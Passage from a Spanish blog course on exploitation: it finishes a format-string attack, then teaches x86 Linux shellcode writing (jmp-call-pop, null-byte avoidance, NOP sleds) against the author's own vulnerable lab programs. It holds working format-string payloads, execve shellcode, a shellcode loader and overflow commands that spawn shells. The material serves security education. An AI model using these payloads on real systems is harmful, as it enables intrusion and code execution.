0xbffff540:    0x416e6824    0x53530041    0x47415f48    0x5f544e45


<Omito más datos>

(gdb) nexti

<Omito todos los caracteres espacio y la impresión de números>

(gdb) x/8xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0x08048444


Si hemos seguido con atención todo lo que hemos ido haciendo y mostrando habremos observado que la dirección de retorno ha cambiado y ahora apunta a shellcode() }:-), si continuamos la ejecución desde este punto obtendremos la shell.

(gdb) cont
Continuando.
process 6121 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
$ whoami
ole
$ exit

[Inferior 1 (process 6121) exited normally]


Et voilà! Hemos conseguido, a partir de un mal uso de las cadenas de formato sacarnos una shell! ¿no es fantástico? :D:D:D. Ahora pasemos a un entorno más salvaje, sin el gdb de por medio... aunque sin ASLR (ya hemos explicado cómo desactivarlo).

$ ./format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

<Impresión de los números con los espacios>

Violación de segmento (`core' generado)

Como era de esperar nos ha explotado en la cara jejeje. Al quitar del medio a gdb, como ya hemos visto en entradas anteriores, las cosas cambian de posición. Ahora mismo no estamos seguros ni de la dirección donde cae la dirección de retorno (nos invalida los 2 primeros valores de la string), ni la distancia entre cima de la pila y nuestra string (nos invalida los DPA para los "%hn"). Vamos a tener que calcularlo de nuevo.

Para averiguar la distancia entre la cima de la pila y el comienzo de nuestra string podemos abusar de la vulnerabilidad para que nos muestre zonas profundas de pila y buscar dónde comienza la string.

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%135\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x363836


Y tras unas cuantas iteraciones de ajuste...

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%140\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141


Hemos obtenido el parámetro relativo donde comienza nuestra string, en este caso el 140. Aquí hay que hacer notar unas cuantas cosas, la primera es que la string que le estoy pasando al programa tiene 38 bytes, exactamente los mismos que he necesitado para la explotación dentro de gdb. Recordemos que si variamos este tamaño, la string se posicionará en otros lados, utilizo entonces los mismos bytes porque, presumiblemente, la string que voy a necesitar al final contendrá 38 bytes también.

Ahora tenemos que descubrir la dirección donde cae la dirección de retorno, para ello podemos usar el siguiente truquillo. Sabemos cómo es el stack frame de main() antes de llamar a printf(), lo hemos estado viendo anteriormente. Sabemos que la dirección de retorno correspondería al parámetro 8 de printf() y que argv correspondería al 10.

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%7\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e3a4d3

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%9\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xbffff3c4


Ahora conocemos dónde cae argv cuando no hay gdb. Podemos volver a ejecutar con gdb y ver dónde está argv en ese caso para calcular cuánta distancia hay entre estas ejecuciones.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r `perl -e 'print "A"x37'`
Starting program: /path/format2 `perl -e 'print "A"x37'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff2e0:    0x00000002    0xbffff374    0xbffff380    0xb7fdc858
0xbffff2f0:    0x00000000    0xbffff31c    0xbffff380    0x00000000
0xbffff300:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Vemos que dentro de gdb argv toma el valor 0xbfffff374, entonces ¿cuántos bytes mete gdb por ahí? pues 0xbffff3c4 - 0xbffff374 = 0x50 = 80 bytes. ¿Qué pasará si probamos a explotar el programa con la misma string que usamos en gdb pero moviendo las direcciones 80 bytes y accediendo a los parámetros 140 y 141?.

$ ./format2 "`perl -e 'print "\x2c\xf3\xff\xbf\x2e\xf3\xff\xbf" . "%33852d" . "%140\\$n" . "%33728d" . "%141\\$hn" . "AA"'`"

<La correspondiente basura...>

13451$ whoami
ole
$ exit


Y efectivamente hemos obtenido la shell :).

Bueno, pues hasta aquí con los format strings attacks hasta el momento. Creo que hay material como para prácticar un buen rato hasta cogerle algo de soltura. Sí, sé que esto es bastante más complejo que un simple bof... ¡¿pero a que mola?!

Que levante la mano el que conocía todas estas características de las cadenas de formato y no conocía cómo explotarlas, que me quito el sombrero.

Saludos.

miércoles, 19 de septiembre de 2012

Minicurso de exploiting (parte 10): Shellcodes y técnicas de programación de shellcodes 1

En la última entrada, después de mucho lío, vimos cómo explotar un bof e inyectar código en el proceso para posteriormente ejecutarlo, consiguiendo que el programa dejara de hacer lo que se suponía debía hacer para hacer lo que nosotros queríamos que hiciera. En el caso que mostré ejecutamos una calculadora, algo divertido pero poco útil. En esta entrada veremos que es lo más común que se suele ejecutar cuando se explota un bof (una shellcode) y cómo hacerlas.

Lo primero es saber qué es una shellcode, como el propio nombre indica una shellcode es básicamente un pequeño programa que ejecuta una shell. El ejemplo más típico es el siguiente:

#include <unistd.h>

int main(int argc, char *argv[]) {
    char *args[2] = { "/bin/bash", NULL };
    execve(args[0], args, NULL);
}


Algo tan simple como eso ya nos da una shell. Aun así no nos vale crear este programa e inyectarlo, como vimos en la entrada anterior sólo nos interesan los bytes que corresponden a las instrucciones que hacen la llamada a la shell. También vimos que no siempre se puede inyectar cualquier cosa, hay ciertas características que se deben cumplir para que la shellcode pueda ser inyectada, como por ejemplo que no tenga bytes nulos, pero esto no es lo único. He aquí una serie de restricciones y características que la shellcode debería cumplir.
  1. No contener bytes nulos.
  2. No contener saltos de línea.
  3. Ser "relocatable".
  4. Poner bytes nulos al final de las strings.
  5. No hacer uso de bibliotecas.
  6. Ser lo más pequeña posible.
  7. Nopsleds.
Veamos ahora más detenidamente qué significa cada uno de estos puntos y cómo aplicarlos a una shellcode de verdad.

No contener bytes nulos

El motivo de esta restricción ya lo vimos en la entrada anterior. Funciones como strcpy() o strcat(), susceptibles a bof, sólo copian hasta el primer byte nulo que encuentren. Si nuestra shellcode llevara bytes nulos sólo se inyectarían los bytes de la shellcode que estén antes que el primero de estos bytes nulos y por lo tanto se quedaría incompleta. Para evitar la introducción de estos bytes hay que analizar la shellcode una vez programada y jugar con ella para quitarlos. Es un proceso bastante artístico aunque debido a que las shellcodes en general suelen ser reducidas, resulta bastante fácil atacar este problema. En general sólo necesitamos poner registros a cero o poner algún byte a cero en alguna parte de la memoria. Para poner registros a cero podemos usar el truco de "xorear" el registro consigo mismo. Y para poner algún cero en cierta parte de la memoria, en vez de poner una instrucción que hace uso del literal $0x0, podemos xorear un registro y luego mover su contenido, o poner en un registro un número, luego restar ese mismo número y luego mover a memoria. En definitiva, hay muchas formas de lograrlo.

No contener saltos de línea

Esta restricción es igual que la de los bytes nulos pero si la función que se va a explotar es gets(). Esta función no se detiene con el byte nulo sino con el salto de línea o un EOF. En UNIX el salto de línea es sólo '\n' = \xa, en Windows es '\r\n' = \xd\xa, y en MacOS es '\r' = \xd. Ojito con el sistema que estés explotando. Al igual que en el caso anterior, tendremos que analizar los bytes de la shellcode y eliminar la secuencia de salto de línea allí donde se dé (si es que se da).

Ser "relocatable"

Esto ya es más interesante, como vimos en la entrada anterior la shellcode es inyectada en una zona de memoria que en principio no conocemos y recurrimos al GDB para mirar las direcciones donde iba cayendo para sustituir en el código de la shellcode todas aquellas referencias a memoria (que marcabamos en principio con \xeeeeeeee y \xdddddddd) por las direcciones necesarias. Sobra decir que eso es algo muy feo y poco práctico. Para empezar es un coñazo estar teniendo que entrar siempre al GDB y hacer cálculos de dónde cae cada cosa de la shellcode. Por otro lado eso es algo nada práctico puesto que podría ocurrir (y ocurrirá) que las direcciones de memoria donde caiga la shellcode no sean las mismas dentro de gdb que fuera. Se hace necesario pues, una técnica para hacer que caiga donde caiga la shellcode, pueda seguir haciendo su trabajo.

Para este cometido existe un truco muy conocido y que a mi me encanta, no es complicado, funciona para cualquier dirección de memoria y me parece muy elegante (¡el que lo inventó es un artista!). Se trata de hacer un jmp-call-pop, veámoslo in situ.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx
    /* Resto del codigo. */

trick:
    call shellcode

.string "/bin/sh"

Aquí tenemos lo que podría ser el esqueleto de nuestra primera shellcode con el truco del jmp-call-pop. Cuando este código empiece, lo primero que se hará será ejecutar el jmp que redigirá el flujo al call (al final del código y justo antes de los datos). A su vez el call volverá a redirigir el flujo de ejecución arriba a la siguiente instrucción al jmp, el pop. Recordemos que una de las cosas que hace call además de cambiar el EIP es pushear a la pila la dirección de retorno. ¿Cuál sería la dirección de retorno en este caso?, pues la de la siguiente instrucción al call, la instrucción que se formará con los primeros bytes de la cadena "/bin/sh". Nos da igual cual sea, pero luego sacaremos de la pila con el pop y conseguiremos que el registro EBX apunte a "/bin/sh" :).

A partir de este punto ya no hay necesidad de que el código haga referencias directas a los datos, sino hacer referencias indirectas en base al registro EBX. Completemos esta shellcode.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx

    xorl %ecx, %ecx
    xorl %edx, %edx
    movb $0xb, %al
    int $0x80

trick:
    call shellcode

.string "/bin/sh"

No tiene ningún misterio, compilamos y ejecutamos para confirmar su funcionamiento.

$ gcc -o shellcode1 shellcode1.s 
$ ./shellcode1 
$ env
PWD=/path
$ exit
exit
$

Hasta aquí todo bien, vemos que la shellcode funciona como programa en sí mismo, pero ahora tenemos que coger sólo los bytes que nos interesa inyectar, no todo el binario como hemos explicado anteriormente.

$ objdump -d shellcode1 | egrep -A17 "<main>"
080483b4 <main>:
 80483b4:    eb 0b                    jmp    80483c1 <trick>

080483b6 <shellcode>:
 80483b6:    5b                       pop    %ebx
 80483b7:    31 c9                    xor    %ecx,%ecx
 80483b9:    31 d2                    xor    %edx,%edx
 80483bb:    31 f6                    xor    %esi,%esi
 80483bd:    b0 0b                    mov    $0xb,%al
 80483bf:    cd 80                    int    $0x80

080483c1 <trick>:
 80483c1:    e8 f0 ff ff ff           call   80483b6 <shellcode>
 80483c6:    2f                       das  
 80483c7:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483ca:    2f                       das  
 80483cb:    73 68                    jae    8048435 <__libc_csu_init+0x65>
 80483cd:    00 90 90 55 57 56        add    %dl,0x56575590(%eax)

En negrita están los bytes que pertenecen a la shellcode. Un detalle que quiero resaltar de lo que aquí se ve es la codificación de los saltos que ha usado GCC. Fijémonos por ejemplo en el jmp del principio, \xeb\x0b. No vamos a desglosarlo a nivel de bits porque nos llevaría bastante tiempo. Asumamos que el byte \xeb es el opcode de x86 para un salto incondicional (esto no es verdad, todos los bits que ahí se encuentran significan mucho más), el byte \x0b viene a ser "la cantidad de bytes a desplazarse a partir de la siguiente instrucción". Así pues, si contamos a partir del byte \x5b de la siguiente instrucción 11 bytes, veremos que acabamos en el byte \xe8 que es el comienzo de la instrucción call. ¿Y para qué todo esto?. En este caso GCC ha usado un direccionamiento relativo para codificar los saltos (también con el call, vemos que usa un número negativo 0xfffffff0), pero esto no tiene por qué ser así siempre. En x86 también se puede codificar los saltos con direccionamiento directo, hardcodeando en la instrucción la dirección a saltar. Cuidado con como se comporta el compilador que estemos usando, comprobemos esto después de compilar las shellcodes.

Poner bytes nulos al final de las strings

En general nuestras shellcodes utilizarán algunas strings, en el caso que estamos viendo tenemos "/bin/sh", pero ¿qué pasa si queremos utilizar más strings?. Vamos a irlo explicando con un ejemplo.

Imaginemos que queremos pasarle parámetros a la shell, en concreto "-c "echo hola"", para que simplemente ejecute ese comando y termine. Para ello necesitamos que el registro ECX contenga el vector con las strings de los parámetros... hablando en C esto significa que ECX debe contener un puntero que apunta a un vector de punteros a strings... lioso, veamos el gráfico para aclararlo.


Esta es la estructura que deberá haber a partir de ECX (el puntero a los parámetros de la llamada al sistema sys_execve) para la correcta ejecucción. No nos olvidemos que el primer parámetro es el propio nombre del programa y que este vector debe terminar con un puntero nulo debido a que sys_execve no tiene un parámetro para indicar el tamaño de éste. Por desgracia estos datos no pueden ir tal cual en la shellcode, ya que las strings deben terminar con el byte nulo y nosotros no podemos poner este byte.

En este caso lo que se hace es poner otro byte y meter lógica adicional en la shellcode para que antes de llamar a sys_execve, se pongan en esos bytes un nulo. Veámoslo en la práctica.

USE32

main:
    jmp trick
shellcode:
    ; Prepara EBX, EDX y ESI
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Mueve a XXXX la direccion de /bin/sh
    mov edi, ebx
    mov ecx, edi
    add cl, 21
    mov [ecx], edi

    ; Pone un byte nulo en A
    add edi, 7
    mov [edi], dl

    ; Mueve a YYYY la direccion de -c
    inc edi
    mov [ecx+0x4], edi

    ; Pone un byte nulo en B
    add edi, 2
    mov [edi], dl

    ; Mueve a ZZZZ la direccion de echo hola
    inc edi
    mov [ecx+0x8], edi

    ; Pone byte nulo en C
    add edi, 9
    mov [edi], dl

    ; Pone a nulo los bytes con 0000
    mov [ecx+0xc], edx

    ; sys_execve
    mov al, 0xb   
    int 0x80

trick:
    call shellcode

db "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000"

¡Hey, ¿qué es todo esto?!. No pasa nada, como llegados a este punto hemos hecho los deberes, y dado que ya vimos en cierto momento algo de las diferencias entre la sintaxis AT&T e Intel, pues entendemos esto perfectamente }:-).

El cambio este se debe a que voy a usar otro programa para la compilación y así de paso vamos haciendo ciertas tareas más fáciles. Lo que aquí presento no es más que la shellcode de antes, pero con los trucos y técnicas que hemos ido viendo. Vemos que tiene el jmp-call-pop para la "relocatabilidad". Al final vemos que los datos son "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000". La lógica del programa aunque algo extensa, no es complicada. A saber, el vector con las direcciones a strings sera la zona de memoria que contiene "XXXXYYYYZZZZ0000", dado que estoy en una máquina de 32 bits, las direcciones serán de 32 bits (4 bytes) así que XXXX será una, YYYY otra y ZZZZ otra, respectivamente serán la dirección a "/bin/sh", "-c" y "echo hola". He puesto comentarios en el código para que se pueda seguir con relativa facilidad. Dejo al lector la tarea de comprender "byte a byte" el programa.

Este programa no lo compilare con GCC y no lo voy a ejecutar, ya que va a producir una violación de segmento, ¿por qué? porque todo eso estará contenido en zona de código (.text), incluida toda la string del final. Como ya sabemos esa zona de memoria no tiene permisos de escritura. Este programa intentará escribir en A, B, C, XXXX, YYYY, ZZZZ y 0000, pero no podrá.

La cosa se complica a la hora de depurar shellcodes, puede ser un trabajo pesado así que en su momento me programé un pequeño programa para hacer algo más fácil esta tarea (seguramente hay programas mejores para hacer estas cosas, pero yo no los conozco). Se trata de un pequeño programa que lee los bytes de la shellcode de un fichero, los pone en el heap (tiene todos los permisos) y luego salta allí. Este es el programa.

/*
 * Program for debug shellcodes.
 *
 * Author: Ole.
 */

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define    N_PARMS    (2)
#define    ERRCODE    (0x01ec0ded)

int main(int argc, char *argv[]) {
    int fd, remaining_bytes, offset;
    struct stat shell_stat;
    off_t len_shellcode;
    void *(*shellcode)();
    ssize_t bytes_read;

    if (argc != N_PARMS)
        fprintf(stderr, "Usage: %s <shellcode>\n", argv[0]), exit(ERRCODE);

    if (stat(argv[1], &shell_stat) == -1)
        fprintf(stderr, "Error stat().\n"), exit(ERRCODE);

    len_shellcode = shell_stat.st_size;
    if ((shellcode = malloc(len_shellcode + 1)) == NULL)
        fprintf(stderr, "Error malloc().\n"), exit(ERRCODE);
    memset(shellcode, 0, len_shellcode + 1);

    if ((fd = open(argv[1], O_RDONLY)) == -1)
        fprintf(stderr, "Error open().\n"), exit(ERRCODE);

    remaining_bytes = len_shellcode;
    offset = 0;
    bytes_read = read(fd, ((char *)shellcode) + offset, remaining_bytes);
    while (bytes_read != -1 && bytes_read != 0) {
        remaining_bytes -= bytes_read;
        offset += bytes_read;
        bytes_read = read(fd, (char *)shellcode + offset, remaining_bytes);
    }

    close(fd);
    if (bytes_read == -1)
        fprintf(stderr, "Error read().\n"), exit(ERRCODE);

    shellcode();
    return 0;
}


No me voy a parar aquí a analizarlo (aunque si te pones seguro que no te cuesta mucho entenderlo), el código lo puedes descargar de aquí.

El fichero que se le pasa no debe ser un ejecutable (no vale el programa producido por GCC), sino que debe ser estrictamente los bytes que componen nuestra shellcode. Es por ello que ahora he escrito la shellcode para nasm (netwide assembler), otro compilador muy útil para escribir shellcodes. Por defecto nasm produce un fichero que contiene solamente los bytes de nuestra shellcode :). Veámoslo un poco por las tripas.

$ nasm shellcode1.asm -o shellcode1nasm 
$ hexdump -C shellcode1nasm
00000000  eb 2e 5b 31 c0 31 d2 31  f6 89 df 89 f9 80 c1 15  |..[1.1.1........|
00000010  89 39 83 c7 07 88 17 47  89 79 04 83 c7 02 88 17  |.9.....G.y......|
00000020  47 89 79 08 83 c7 09 88  17 89 51 0c b0 0b cd 80  |G.y.......Q.....|
00000030  e8 cd ff ff ff 2f 62 69  6e 2f 73 68 41 2d 63 42  |...../bin/shA-cB|
00000040  65 63 68 6f 20 68 6f 6c  61 43 58 58 58 58 59 59  |echo holaCXXXXYY|
00000050  59 59 5a 5a 5a 5a 30 30  30 30                    |YYZZZZ0000|
0000005a

Podemos ver gracias a hexdump que efectivamente lo producido son los bytes de nuestra shellcode. Usando ahora el programa que comenté antes vamos a ejecutar esta shellcode.

$ ./shellcodes-dbg shellcode1nasm
hola

Y efectivamente vemos que obtenemos lo que esperábamos. Comentar también que la mayor utilidad del programa que he presentado es para ejecutarlo desde dentro del gdb y poder seguir instrucción a instrucción lo que está haciendo nuestra shellcode.

No hacer uso de bibliotecas

El motivo de esta restricción ya la hemos comentado, estamos inyectando la shellcode en un entorno desconocido (el mapa de memoria de otro proceso). Por lo tanto no sabemos qué bibliotecas están enlazadas al proceso en ese momento y por lo tanto no debemos hacer uso de funciones a las que estamos muy constumbrados como printf().

Aun así ya veremos más adelante (para bypassear exec-shield) que esto no siempre es verdad, y que a veces sí podemos aprovecharnos de bibliotecas externas, aunque por ahora no lo haremos y en general debemos tener cuidado con esto. Hay que ser consciente del entorno donde estamos, el limbo de las shellcodes, un mapa de memoria desconocido y hostil.

Pero esto no es problema, las funciones de biblioteca realmente interesantes acaban siendo wrappers a llamadas al sistema, así que simplemente tenemos que llamar nosotros directamente. Esto ya lo hemos estado haciendo, hemos llamado a sys_execve todo este tiempo. El problema de esto es que tendremos que conocer las llamadas al sistema, pero eso sólo hace de toda esta disciplina algo más interesante :).

Ser lo más pequeña posible

Podríamos desarrollar shellcodes con montón de funcionalidades, pero todo eso es lógica adicional y por lo tanto bytes adicionales. Los buffers a explotar no tienen por qué ser grandes. Si la distancia entre el comienzo de ese buffer y la dirección de retorno a sobreescribir es menor que el tamaño de nuestra shellcode no podremos explotar el bof correctamente, ya que parte de nuestro código acabará en la dirección de retorno. Por ello es interesante desarrollar shellcodes pequeñas, que quepan en el menor espacio posible, de forma que nos permitan explotar bofs con bufferes (¿bufferes debería llevar tilde?) muy pequeños.

Para dotar de más funcionalidad a nuestra shellcodes podemos utilizar (que a mi se me ocurra) una shellcode en "dos tiempos", como el grub. Primero un código muy simple que explota el bof y toma el control y que luego carga el resto del código (se lo pide a la máquina que ha realizado la explotación). No lo sé porque no lo he analizado por dentro, pero seguramente meterpreter (metasploit interpreter) haga algo así.

Nopsleds

Antes de presentar esta técnica/solución voy a presentar el problema al que ayuda, ya que hasta ahora no lo hemos visto. En la entrada anterior ejecutamos la shellcode (la calculadora) desde el GDB, en ningún momento llegue a hacerlo desde el exterior. Vamos ahora a hacerlo. Recordemos el entorno.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Bof de libro, se sobreescribe la dirección de retorno desde los 140 bytes compilando con los flag -fno-stack-protector -zexecstack para quitar las protecciones.

Vamos ahora a usar una shellcode usando todo lo que hemos aprendido hasta ahora.

USE32

main:
    jmp trick
shellcode:
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Poner \0 en el primer 0
    mov [ebx+0x7], dl

    ; Poner 0x00000000 en los 0000 finales
    mov [ebx+0xc], edx

    ; Poner direccion de /bin/sh en XXXX
    mov ecx, ebx
    add ecx, 0x8
    mov [ecx], ebx

    ; sys_execve
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/sh0XXXX0000"

Ahora desde el GDB vamos a hacer la explotación, voy a hacerlo rápido ya que conozco muchos detalles de este programa ya (0xbfffff290, la shellcode pesa 47 bytes).

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) r "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Starting program: /path/bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
process 14556 is executing new program: /bin/dash
$ whoami
ole
$ exit
[Inferior 1 (process 14556) exited normally]

Sé que el comando (en negrita) ese puede resultar algo esotérico, pero mi recomendación es hacerlo así. A veces podemos tener un problema a la hora de pasar nuestra shellcode a través de parámetros y es que, si contiene bytes que bash considera "separadores de palabras" (espacios, tabulaciones, saltos de línea), nos la puede jugar y hacernos bastante difícil la depuración del problema. La forma en la que aquí hago para que bash considere todo una única string es encerrarlo todo entre comillas dobles... hay algo que me resulta curioso, no me ha hecho falta escapar las comillas dobles que uso para las Aes y la dirección de retorno... Pues eso, que cuidado con lo que escribimos, asegúrate de entenderlo todo, o lo que es lo mismo, de ser consciente de que no lo entiendes todo y que si tienes problemas pueden venir de cualquier lado.

Volviendo a la ejecución, hemos visto que efectivamente se ha ejecutado una consola (/bin/sh es un enlace simbólico a /bin/dash en este caso). Sin embargo si probamos lo mismo fuera del GDB (como sería un escenario más normal) no tendremos éxito.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Segmentation fault (core dumped)

Y después de un montón de lío, llegamos al problema que intenta solucionar los nopsleds (lo siento, pero había que introducirlo para entenderlo). Este segmentation fault se debe a que el buffer ha cambiado de dirección, ya no está en 0xbffff290. Para demostrarlo vamos a hacer una pequeña modificación al programa con bof para que muestre la dirección del buffer.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    printf("Buffer addr: %p\n", buffer);

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Compilamos y ejecutamos unas cuantas veces.

$ gcc -fno-stack-protector -zexecstack -o bof2 bof2.c  
$ ./bof2
Buffer addr: 0xbfd5a810
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfaf8040
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfeed690
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfd57220
Usage: ./bof2 <param>

Como vemos, la dirección de buffer está cayendo cada vez en direcciones distintas, y lo que es peor, direcciones bastante alejadas entre sí. Esto es debido a que tenemos activo ASLR (Address Space Layout Randomization), el cometido de esta técnica es aleatorizar las regiones de memoria de los procesos de forma que en cada ejecución estén en direcciones distintas, precisamente para dificultar la explotación de bofs. Ya veremos más adelante técnicas para bypassear ASLR (¡que guay!), pero por ahora sólo vamos a desactivarlo.

$ sudo sysctl -w kernel.randomize_va_space=0

Dentro de GDB no hay ASLR, por eso nunca nos variaba la dirección del buffer (0xbffff290). Probemos ahora a volver a ejecutar el programa.

$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>

Aquí quiero hacer notar dos cosas. La primera y más obvia es que el buffer ahora está siempre en la misma dirección ya que no hay ASLR. La segunda, también bastante obvia, es que el buffer no está en la misma dirección que dentro de GDB. Cuando explotamos un bof dentro del GDB luego hay que averiguar dónde está el buffer sin GDB de por medio. En este caso ya lo sabemos porque tenemos el código fuente del programa y lo hemos podido modificar, pero esto no siempre es así.

Esto puede ser un dolor de cabeza sobre todo si no podemos depurar el programa y tenemos que empezar a probar direcciones a lo bruto, ya que para que nuestra shellcode funcione tenemos que saltar exactamente a la dirección donde se encuentra el buffer. Para colmo esta dirección no va a ser siempre la misma en diferentes ejecuciones, puede variar y esto es otro problema más. La posición del buffer a explotar dependerá de cuánta información haya en la pila antes de la ejecución de la función que contiene el buffer a explotar. En este caso es un entorno muy controlado, main(), pero imaginate la situación si hubiera recursividad dependiente de un parámetro que nosotros no controlamos. Averiguar la dirección exacta del buffer podría llegar a ser un sufrimiento. La dirección del buffer también depende entre otras cosas, de los parámetros de main(), recordemos que como a cualquier otra función, main() tiene sus parámetros antes de la dirección de retorno, del saved ebp y del espacio dedicado a variables locales. Veámoslo.

$ ./bof2 "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x80\xf3\xff\xbf"'`"
Buffer addr: 0xbffff2e0
Segmentation fault (core dumped)

Pensar que sobreescribiendo la dirección de retorno por la dirección que vimos antes ya ejecutaríamos la shellcode no es correcto, ya que ahora el buffer está en 0xbfffff2e0. Esto es debido a que antes no pasamos argumentos al programa y ahora sí y además uno bastante grande. Evidentemente ahora sí conocemos la dirección a saltar.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\xe0\xf2\xff\xbf"'`"
$ whoami
ole
$ exit


Ahora sí hemos conseguido ejecutar la shellcode desde el exterior, pero claro, conociamos la dirección del buffer y hemos pasado en ambos casos el mismo tamaño de parámetros. Una de las cosas que hay que hacer notar es que incluso el nombre del programa influye en la posición del buffer. Recordemos que uno de los parámetros que se le pasa a main es argv, en cuya primera posición está el nombre del programa. Esto significa que si ejecutaramos el mismo programa pero llamándolo "programa_con_nombre_muy_largo" en vez de "bof", también influiría en la posición del buffer.

Pero no todo son malas noticias. Muchas veces la posición no varia tanto, unos cuantos bytes digamos (como ha sido el caso anterior, 0xbffff380 - 0xbffff2e0 = 160 bytes). En estos casos podemos aprovecharnos de la técnica de rellenar el comienzo del buffer con un nopsled y poner al final nuestra shellcode. Básicamente de lo que se trata es de poner un montón de instrucciones nop al comienzo del buffer, luego aunque no conozcamos la posición exacta del comienzo del mismo, si conocemos más o menos por donde cae pues saltamos por ahí y probamos suerte. Si caemos en medio del nopsled empezarán a ejecutarse nops hasta llegar a la shellcode real. Esta técnica básicamente es poner un "colchón" delante de la shellcode y "saltar por ahí más o menos". Veámoslo desde dentro.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) r "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"
Starting program: /path/bof "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"

Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff561    0x00000001    0xb7ebc1f9
0xbffff290:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2e0:    0x90909090    0x90909090    0x90909090    0x5b18eb90
0xbffff2f0:    0xd231c031    0x5388f631    0x0c538907    0xc183d989
0xbffff300:    0xb0198908    0xe880cd0b    0xffffffe3    0x6e69622f
0xbffff310:    0x3068732f    0x58585858    0x30303030    0xbffff2e0


Vemos que hay un montón de bytes \x90 (instrucción nop en x86) al principio del buffer. Podríamos saltar a cualquiera de ellos y simplemente se empezarían a ejecutar uno detrás de otro sin hacer nada hasta llegar al byte \xeb del jmp, donde realmente comienza el trabajo. Un detalle, esto que he puesto es lo que realmente ejecuté mientras escribía esta parte de la entrada. No me di cuenta y no sustituí la dirección de retorno a sobreescribir, dejando la de los ejemplos anteriores (0xbffff2e0) a pesar de que ahora el buffer está en otro lado (0xbffff290), pero precisamente gracias al nopsled la explotación será exitosa :).

(gdb) cont
Continuing.
process 3311 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$ exit
[Inferior 1 (process 3311) exited normally]


Siento que la explicación de este último apartado haya sido tan larga pero como ya he dicho anteriormente, quiero analizar hasta el último detalle y eso implica conocer los problemas y probarlos de verdad.

